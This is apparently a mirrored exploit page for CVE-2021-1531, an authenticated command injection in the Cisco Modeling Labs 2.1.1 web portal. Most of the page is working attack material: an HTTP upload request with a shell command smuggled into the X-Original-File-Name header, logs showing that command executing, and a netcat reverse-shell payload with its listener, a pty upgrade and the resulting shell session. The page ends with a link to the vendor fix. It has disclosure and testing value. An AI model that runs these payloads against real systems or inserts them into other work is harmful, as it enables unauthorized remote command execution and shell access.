Share
## https://sploitus.com/exploit?id=PACKETSTORM:163265
Cisco Modeling Labs 2.1.1-b19 Post-Auth RCE Vulnerability  
  
CVE-2021-1531  
  
=======  
Details  
=======  
  
Authenticated command injection in the web portal via the X-Original-File-Name header.  
  
Tested with portal 'admin' user who does not have a system login or SSH access, but likely works for any user who can upload files in the portal.  
  
=====  
Repro  
=====  
  
-------  
Request  
-------  
  
POST /api/v0/images/upload HTTP/1.1  
Host: 10.10.10.118  
X-Original-File-Name: test.rpm';id>/tmp/123'  
Authorization: Bearer [jwt token]  
Content-Length: 0  
  
--------  
Response  
--------  
  
HTTP/1.1 200 OK  
Server: nginx/1.14.1  
...  
  
"Success"  
  
----------------  
Local monitoring  
----------------  
  
pid=5547 executed [/bin/sh -c /usr/local/bin/imagetool -stderrthreshold=INFO -multipart move '/var/local/virl2/nginx-temp-folder/0063443599' '/var/local/virl2/dropfolder/test.rpm';id>/tmp/123''; exit 0 ]  
  
.....  
  
pid=5555 executed [id ]  
  
$ cat /tmp/123  
uid=982(virl2) gid=980(virl2) groups=980(virl2),982(wireshark),986(libvirt) context=system_u:system_r:unconfined_service_t:s0  
  
============  
Exploitation  
============  
  
The netcat binary with -e support is installed on the system, which makes gaining a remote shell as the virl2 user easy for demo.  
  
-------  
Payload  
-------  
  
X-Original-File-Name: test.rpm';nc 10.1.1.101 5000 -e /bin/bash'  
  
--------  
Listener  
--------  
  
$ nc -l -p 5000  
.....  
*connection received from cml2*  
  
/usr/libexec/platform-python -c 'import pty; pty.spawn("/bin/bash")'  
  
*** VIRL2 network simulator monitor ***  
  
CLI> uname -a  
Linux cml2-controller.cml.lab 4.18.0-80.11.2.el8_0.x86_64 #1 SMP Tue Sep 24 11:32:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux  
  
CLI> pwd  
/var/local/virl2  
  
===  
Fix  
===  
  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cml-cmd-inject-N4VYeQXB